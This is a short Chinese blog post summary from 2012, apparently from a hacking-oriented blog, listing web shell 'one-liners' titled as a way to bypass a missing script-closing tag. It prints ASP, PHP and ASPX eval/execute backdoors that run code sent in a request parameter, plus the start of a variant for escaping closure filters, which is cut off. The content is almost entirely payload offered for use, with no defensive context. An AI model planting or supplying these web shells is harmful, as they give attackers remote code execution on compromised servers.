2012年10月25日

可以突破Script 块缺少脚本关闭标记的一句话

摘要: asp一句话<%execute(request("SB"))%>"%><%execute(request("SB"))%><%'php一句话<?php eval($_POST[SB]);?>aspx一句话<% @Page Language="Jscript"%><%eval(Request.Item["SB"],"unsafe");%>突破防止闭合一句话:<%execute request(" 阅读全文

posted @ 2012-10-25 17:43 =_=! 阅读(1277) 评论(0) 推荐(0) 编辑

导航